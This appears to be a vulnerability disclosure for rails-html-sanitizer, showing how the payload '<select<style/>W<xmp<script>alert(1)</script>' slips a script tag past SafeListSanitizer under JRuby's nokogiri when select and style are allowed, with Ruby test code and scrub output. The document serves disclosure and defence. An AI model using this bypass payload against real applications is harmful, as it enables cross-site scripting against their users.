Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag

It seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation. It seems to be an ambiguous case as to whether to do it with nokogiri or have rails-html-sanitizer defend it. jruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag code ``` tags = %w(select style) puts "------------------------------------------------------------------" puts "use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag" puts "input: <select<style/>W<xmp<script>alert(1)</script>" puts "output: "+Rails::Html::SafeListSanitizer.new.sanitize("<select<style/>W<xmp<script>alert(1)</script>", tags: tags).to_s puts "------------------------------------------------------------------" ``` result ``` input: <select<style/>W<xmp<script>alert(1)</script> scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :&lt;script&gt;alert(1)&lt;/script&gt; scrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp>&lt;script&gt;alert(1)&lt;/script&gt;</xmp> scrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<script>alert(1)</script></style> scrub --> node type :Nokogiri::XML::Element, node name :select, node to_s :<select><style>W<script>alert(1)</script></style></select> output: <select><style>W<script>alert(1)</script></style></select> ``` ## Impact It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.
